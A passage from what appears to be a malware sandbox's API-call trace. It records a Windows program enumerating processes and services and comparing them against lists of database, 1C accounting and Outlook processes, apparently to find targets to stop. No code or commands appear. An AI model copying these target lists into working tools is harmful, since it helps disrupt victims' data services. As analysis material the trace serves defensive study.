th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0093.254] lstrlenW (lpString="conhost.exe") returned 11 [0093.254] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0093.255] lstrlenW (lpString="vssadmin.exe") returned 12 [0093.255] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0093.256] lstrlenW (lpString="VSSVC.exe") returned 9 [0093.256] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.257] lstrlenW (lpString="svchost.exe") returned 11 [0093.257] Process32NextW (in: hSnapshot=0x214, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0093.258] CloseHandle (hObject=0x214) returned 1 [0093.258] Sleep (dwMilliseconds=0x1f4) [0095.276] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x609cf0 [0095.277] EnumServicesStatusExW (in: hSCManager=0x609cf0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0) returned 0 [0095.278] GetLastError () returned 0xea [0095.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x12c6) returned 0x39777a0 [0095.279] EnumServicesStatusExW (in: hSCManager=0x609cf0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x39777a0, cbBufSize=0x12c6, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x39777a0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0) returned 1 [0095.280] CloseServiceHandle (hSCObject=0x609cf0) returned 1 [0095.280] lstrlenW (lpString="Appinfo") returned 7 [0095.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0095.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0095.280] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0095.280] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0095.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0095.280] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0095.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0095.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0095.280] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0095.280] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0095.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0095.280] lstrlenW (lpString="AudioSrv") returned 8 [0095.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0095.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0095.280] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0095.281] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0095.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0095.281] lstrlenW (lpString="BFE") returned 3 [0095.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0095.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0095.281] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0095.281] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0095.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0095.281] lstrlenW (lpString="CryptSvc") returned 8 [0095.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0095.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0095.281] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0095.281] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0095.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0095.281] lstrlenW (lpString="CscService") returned 10 [0095.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0095.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0095.281] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0095.281] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0095.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0095.281] lstrlenW (lpString="DcomLaunch") returned 10 [0095.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0095.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0095.281] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0095.281] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0095.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0095.281] lstrlenW (lpString="Dhcp") returned 4 [0095.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0095.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0095.281] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0095.282] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0095.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0095.282] lstrlenW (lpString="Dnscache") returned 8 [0095.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0095.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0095.282] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0095.282] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0095.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0095.282] lstrlenW (lpString="DPS") returned 3 [0095.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0095.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0095.282] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0095.282] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0095.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0095.282] lstrlenW (lpString="eventlog") returned 8 [0095.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0095.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0095.282] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0095.282] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0095.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0095.282] lstrlenW (lpString="EventSystem") returned 11 [0095.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0095.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0095.282] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0095.282] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0095.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0095.282] lstrlenW (lpString="gpsvc") returned 5 [0095.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0095.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0095.282] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0095.283] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0095.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0095.283] lstrlenW (lpString="iphlpsvc") returned 8 [0095.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0095.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0095.283] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0095.283] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0095.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0095.283] lstrlenW (lpString="LanmanServer") returned 12 [0095.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0095.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0095.283] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0095.283] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0095.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0095.283] lstrlenW (lpString="LanmanWorkstation") returned 17 [0095.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0095.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0095.283] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0095.283] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0095.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0095.283] lstrlenW (lpString="lmhosts") returned 7 [0095.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0095.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0095.283] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0095.283] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0095.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0095.283] lstrlenW (lpString="MMCSS") returned 5 [0095.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0095.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0095.283] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0095.284] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0095.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0095.284] lstrlenW (lpString="MpsSvc") returned 6 [0095.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0095.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0095.284] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0095.284] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0095.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0095.284] lstrlenW (lpString="Netman") returned 6 [0095.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0095.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0095.284] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0095.284] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0095.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0095.284] lstrlenW (lpString="netprofm") returned 8 [0095.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0095.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0095.284] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0095.284] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0095.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0095.284] lstrlenW (lpString="NlaSvc") returned 6 [0095.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0095.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0095.284] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0095.284] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0095.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0095.284] lstrlenW (lpString="nsi") returned 3 [0095.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0095.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0095.284] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0095.284] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0095.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0095.285] lstrlenW (lpString="PcaSvc") returned 6 [0095.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0095.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0095.285] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0095.285] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0095.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0095.285] lstrlenW (lpString="PlugPlay") returned 8 [0095.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0095.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0095.285] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0095.285] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0095.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0095.285] lstrlenW (lpString="Power") returned 5 [0095.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0095.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0095.285] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0095.285] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0095.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0095.285] lstrlenW (lpString="ProfSvc") returned 7 [0095.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0095.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0095.285] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0095.285] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0095.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0095.285] lstrlenW (lpString="RpcEptMapper") returned 12 [0095.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0095.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0095.285] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0095.285] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0095.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0095.285] lstrlenW (lpString="RpcSs") returned 5 [0095.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0095.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0095.286] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0095.286] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0095.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0095.286] lstrlenW (lpString="SamSs") returned 5 [0095.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0095.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0095.286] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0095.286] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0095.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0095.286] lstrlenW (lpString="Schedule") returned 8 [0095.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0095.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0095.286] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0095.286] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0095.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0095.286] lstrlenW (lpString="SENS") returned 4 [0095.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0095.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0095.286] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0095.286] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0095.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0095.286] lstrlenW (lpString="ShellHWDetection") returned 16 [0095.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0095.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0095.286] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0095.286] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0095.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0095.286] lstrlenW (lpString="Spooler") returned 7 [0095.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0095.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0095.286] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0095.286] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0095.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0095.287] lstrlenW (lpString="swprv") returned 5 [0095.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0095.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0095.287] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0095.287] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0095.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0095.287] lstrlenW (lpString="SysMain") returned 7 [0095.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0095.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0095.287] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0095.287] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0095.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0095.287] lstrlenW (lpString="Themes") returned 6 [0095.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0095.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0095.287] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0095.287] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0095.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0095.287] lstrlenW (lpString="TrkWks") returned 6 [0095.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0095.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0095.287] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0095.287] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0095.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0095.287] lstrlenW (lpString="UxSms") returned 5 [0095.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0095.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0095.287] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0095.287] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0095.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0095.287] lstrlenW (lpString="VSS") returned 3 [0095.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0095.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0095.288] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0095.288] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0095.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0095.288] lstrlenW (lpString="WdiServiceHost") returned 14 [0095.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0095.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0095.288] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0095.288] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0095.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0095.288] lstrlenW (lpString="WdiSystemHost") returned 13 [0095.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0095.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0095.288] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0095.288] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0095.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0095.288] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0095.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0095.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0095.288] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0095.288] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0095.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0095.288] lstrlenW (lpString="Winmgmt") returned 7 [0095.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0095.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0095.288] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0095.288] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0095.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0095.288] lstrlenW (lpString="WPDBusEnum") returned 10 [0095.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0095.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0095.288] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0095.288] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0095.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0095.288] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39777a0 | out: hHeap=0x5b0000) returned 1 [0095.289] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0095.294] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0095.295] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0095.295] lstrlenW (lpString="System") returned 6 [0095.295] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0095.295] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0095.296] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0095.296] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0095.296] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0095.296] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0095.296] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0095.296] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0095.296] lstrlenW (lpString="smss.exe") returned 8 [0095.296] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0095.296] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0095.296] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0095.296] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0095.296] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0095.296] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0095.296] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0095.296] Process32NextW (in: hSnapshot=0x1b0, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, 